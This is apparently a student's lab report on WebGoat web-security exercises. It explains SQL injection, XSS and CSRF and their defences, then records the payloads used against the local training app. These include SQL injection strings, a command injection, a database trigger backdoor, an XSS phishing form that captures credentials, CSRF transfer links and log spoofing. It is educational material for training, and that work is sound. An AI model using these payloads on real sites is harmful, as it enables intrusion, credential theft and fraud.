20145214 《网络对抗技术》 Web安全基础实践

1.实验后回答问题

(1)SQL注入攻击原理,如何防御

  • SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的
  • 防御:利用输入规则限制进行防御,过滤输入的数据,不允许特殊字符输入

(2)XSS攻击的原理,如何防御

  • 跨站脚本攻击,允许恶意用户将恶意Script代码注入到网页上,当用户浏览网页时,嵌入其中Web里面的Script代码会被执行,从而被攻击,其他用户在观看网页时就会受到影响。XSS攻击的主要目的是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的身份登陆,做一些破坏。

  • 防御:

      完善过滤体系,对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉
    对尖括号、引号等标签进行转换,换成文本内容显示,如果这样的话,在攻击代码进行转换存储后就不是一段可执行的代码了

(3)CSRF攻击原理,如何防御

  • CSRF是跨站请求伪造,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站

  • 防御:

      通过referer、token或者验证码来检测用户提交
    在form中包含秘密信息、用户指定的代号作为cookie之外的验证
    定期清理保存的cookie

2.实验总结与体会

  • 这次实验刚一开始做看到全英文的wedgoat就有点崩溃,还好有课题负责人兼职翻译,自己也试着静下心来一点点看,还是能看懂意思的,虽然翻译不出来,但是心里明白大概是是啥了...后面做着做着就有点好玩起来了,像在闯关,看到绿钩钩一个一个多起来的时候心情莫名的爽,这个实验可能或许会上瘾
  • 实验里的做的东西要是真的能实现就美妙了,体会到了SQL注入攻击、XSS攻击和CSRF攻击的强大,又有点感慨,其实这些攻击大部分都是一样的“套路”,但是只要网站的设计人员在WEB设计的时候忽视了WEB安全,我们就会轻易地掉进这些陷阱里了。嗯,以后登录网站还是得慎之又慎...

3.实践过程记录

实验前准备

  • java -jar webgoat-container-7.0.1-war-exec.jar指令开启webgoat
  • 在页面停止在如下界面时,在浏览器中打开localhost:8080/WebGoat,使用默认的用户名和密码进入webgoat

(1)String SQL Injection

  • 题目大意是:这个表单允许使用者查询他们的信用卡号,使用SQL注入让所有的信用卡号都看得见。

  • 先尝试一个输入,看看输入的内容出现在哪里了,来找到我们要进行SQL注入的位置

  • 在文本框中输入' or 1=1 --进行攻击

  • 攻击之所以能成功,就是因为我们构造了一个使lastname后面的引号完整,并且加上一个or 1=1的永真式,使得不管前面的WHERE是否成立都能执行。

(2)Command Injection

  • 题目的要求是:尝试给操作系统注入命令行,要求能够在目标主机上执行系统命令

  • 通过火狐浏览器下的一个扩展Firebug对源代码进行修改,右键点击BackDoors.help,选择用扩展Firebug打开,这样就可以直接定位到需要修改的位置,无需一行一行代码的查看了

  • 例如在BackDoors.help旁边加上"& netstat -an & ipconfig"

  • 修改之后在下拉菜单中能看到我们修改后的值

  • 选中修改后的值再点view按钮,可以看到命令被执行,出现系统网络连接情况

(3)Numeric SQL Injection

  • 题目大意是这个表单允许使用者看到天气数据,利用SQL注入使得可以看见所有数据

  • 和之前的实验类似,只要加上一个1=1这种永真式即可达到我们的目的

  • 依旧利用firebug,在任意一个值比如101旁边加上or 1=1

  • 选中我们刚刚修改的Columbia选项,点击Go,就可以看到所有天气数据了

(4)LAB:SQL Injection(Stage 1:String SQL Injection)

  • 题目要求使用字符串SQL注入在没有正确密码的情况下登录账号boss

  • 用老套路,以用户Neville登录,在密码栏中输入' or 1=1 --进行SQL注入,发现登录失败

  • 查看了一下网页源码,发现输入框对输入的字符长度进行了限制,最多只允许输入8个字符

  • 对字符长度进行修改

  • 重新登录,登录成功

(5)LAB:SQL Injection(Stage 3:Numeric SQL Injection)

  • 题目要求通过一个普通员工的账户larry,浏览其BOSS的账户信息

  • 用上一题的办法先以用户名Larry登录,登录之后看到浏览员工信息的按钮是ViewProfile

  • 在网页代码中分析按钮ViewProfile,发现这个地方是以员工ID作为索引传递参数的

  • 要达到通过Larry来浏览老板账户信息的目的,一般来说老板的工资都应该是最高的,所以把其中的value值改为101 or 1=1 order by salary desc --,这样老板的信息就会被排到第一个

  • 之后就可以查看到老板的信息

(6)Database Backdoors

  • 首先输一个101,得到该用户的信息

  • 输入注入语句:101; update employee set salary=5214,成功把该用户的工资改成了5214(降工资了真对不起该用户...)

  • 使用语句101;CREATE TRIGGER lxmBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20145215@163.com' WHERE userid = NEW.userid创建一个后门,把表中所有的邮箱和用户ID都设为我自己的(这时候仿佛得到了全世界...)

(7)Phishing with XSS

  • 这是跨站脚本钓鱼攻击,要求在搜索框中输入XSS攻击代码,利用XSS可以在已存在的页面中进一步添加元素的特点

  • 在文本框里面输入一个钓鱼网站代码如下

      </form>
    <script>
    function hack(){
    XSSImage=new Image;
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
    alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    }
    </script>
    <form name="phish">
    <br>
    <br>
    <HR>
    <H2>This feature requires account login:</H2>
    <br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
    <br>
    <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>
  • 在搜索框中输入攻击代码后点击搜索,会看到一个要求输入用户名密码的表单如下

  • 输入用户名密码

  • 点击登录,WebGoat会将输入的信息捕获并反馈回来,攻击成功

(8)Stored XSS Attacks

  • 要求创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容

  • 在Message中构造语句<script>alert("5214 attack succeed!");</script>,提交后,可以发现刚刚创建的帖子20145214

  • 点击,成功弹出窗口,说明攻击成功

(9)Reflected XSS Attacks

  • 在code框中输入<script>alert("20145214~~");</script>,将带有攻击性的URL作为输入源,显示如下

  • 反射型XSS攻击成功

(10)Cross Site Request Forgery(CSRF)

  • 写一个URL诱使其他用户点击,从而触发CSRF攻击,我们可以以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件

  • 在message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=288&menu=900&transferFunds=5214"/>

  • 提交后在下面的Message List里面可以看我刚刚发送的消息

  • 点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5214元,从而达到CSRF攻击的目的

(11)CSRF Prompt By-Pass

  • 和上一个一样要构造CSRF攻击,不过这次其包括了两个请求,一是转账请求,二是确认转账成功请求,即需要额外传递两个参数给服务器(transferFunds=4000,transferFunds=CONFIRM)

  • 在浏览器中输入localhost:8080/WebGoat/attack?Screen=273&menu=900&transferFunds=5214进入确认转账请求页面

  • 查看网页代码,发现transferFunds的值变成了CONFIRM

  • 点击了CONFIRM按钮之后,再在浏览器中输入URL,攻击成功

(12)Log Spoofing

  • 使用障眼法来使用户名为“admin”的用户在日志中显示“成功登录”

  • 在User Name文本框中输入zn%0d%0aLogin Succeeded for username: admin,其中%0d是回车,%0a是换行符

  • 如图所示,攻击成功

最后总结一下做了什么那就贴个图吧

20145214 《网络对抗技术》 Web安全基础实践的更多相关文章

  1. 20145308 《网络对抗》Web安全基础实践 学习总结

    20145308 <网络对抗> Web安全基础实践 学习总结 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 (1)SQL注入攻击原理, ...

  2. 20145326蔡馨熤《网络对抗》—— Web安全基础实践

    20145326蔡馨熤<网络对抗>—— Web安全基础实践 1.实验后回答问题 (1)SQL注入攻击原理,如何防御. 原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程 ...

  3. 20145216史婧瑶《网络对抗》Web安全基础实践

    20145216史婧瑶<网络对抗>Web安全基础实践 实验问题回答 (1)SQL注入攻击原理,如何防御 攻击原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入web应用程序,而这些 ...

  4. 20145227鄢曼君《网络对抗》Web安全基础实践

    20145227鄢曼君<网络对抗>Web安全基础实践 实验后回答问题 1.SQL注入攻击原理,如何防御? SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是 ...

  5. 20145217《网络对抗》 Web安全基础实践

    20145217<网络对抗> Web安全基础实践 一.实践任务 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 二.实验后回答问题 (1)SQL注入攻击原理,如 ...

  6. 20155326《网络对抗》Web安全基础实践

    20155326<网络对抗>Web安全基础实践 实验后回答的问题 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是在Web应用对后台数据库查询语句处理存在的安全漏洞,通过构建特殊 ...

  7. 20155206《网络对抗》Web安全基础实践

    20155206<网络对抗>Web安全基础实践 实验后问题回答 (1)SQL注入攻击原理,如何防御 攻击原理:SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查 ...

  8. 20155211 网络对抗 Exp9 Web安全基础实践

    20155211 网络对抗 Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语 ...

  9. 20155305《网络对抗》Web安全基础实践

    20155305<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...

  10. 20155307《网络对抗》Web安全基础实践

    20155307<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...

随机推荐

  1. 聊聊并发——深入分析ConcurrentHashMap

    术语定义 术语 英文 解释 哈希算法 hash algorithm 是一种将任意内容的输入转换成相同长度输出的加密方式,其输出被称为哈希值. 哈希表 hash table 根据设定的哈希函数H(key ...

  2. 【安装Ecshop2.7.2网站(LAMP环境)】--实践

    LAMP : Linux + Apache + Mysql + PHPEcshop2.7.2 注意:在输入命令过程中,学会用tab键补全命令,不要对着照抄,很容易出错. 前置:A:先设置虚拟机中的CD ...

  3. 27-ATM+购物车程序

    1.需求 本章作业: 模拟实现一个ATM + 购物商城程序 额度 15000或自定义 实现购物商城,买东西加入 购物车,调用信用卡接口结账 可以提现,手续费5% 支持多账户登录 支持账户间转账 记录每 ...

  4. #2007. 「SCOI2015」国旗计划

    好久没更过博了.. 首先断环为链,因为线段互相不包含,所以对每个线段\(i\)可以找一个满足\(r_j\geq l_i\)的\(l_j\)最小的线段,dp的时候\(i\)就会从\(j\)转移过来 然后 ...

  5. P3707 [SDOI2017]相关分析

    P3707 [SDOI2017]相关分析 线段树裸题?但是真的很麻烦QAQ 题目给的式子是什么不用管,大力拆开,就是\(\frac{\sum x_iy_i-\overline xy_i-\overli ...

  6. org.springframework.mail.MailSendException: Failed messages: javax.mail.SendFailedException: Invalid Addresses

    一.问题分析 org.springframework.mail.MailSendException: Failed messages: javax.mail.SendFailedException: ...

  7. python并发编程之守护进程、互斥锁以及生产者和消费者模型

    一.守护进程 主进程创建守护进程 守护进程其实就是'子进程' 一.守护进程内无法在开启子进程,否则会报错二.进程之间代码是相互独立的,主进程代码运行完毕,守护进程也会随机结束 守护进程简单实例: fr ...

  8. java多线程的简单demo

    模拟场景:顾客买车从车库中取车,厂家生产车,车存储在车库中.买家.厂家对同一个车库中的车操作 一.不加同步机制的代码如下: package com.joysuch.testng.thread; imp ...

  9. XAF-由于try catch导致的性能问题一例

    前几天在制作PMMS系统时,有天突然发现性能问题下降严重,发布到客户机后,每点击一个按钮要花5-10秒的时间,与本机的200-600毫秒差距很大. 经过多处优化后没有效果. 后来想起,最近增加的功能是 ...

  10. charles工具教程

    本文的内容主要包括: Charles 的简介 如何安装 Charles 将 Charles 设置成系统代理 Charles 主界面介绍 过滤网络请求 截取 iPhone 上的网络封包 截取 Https ...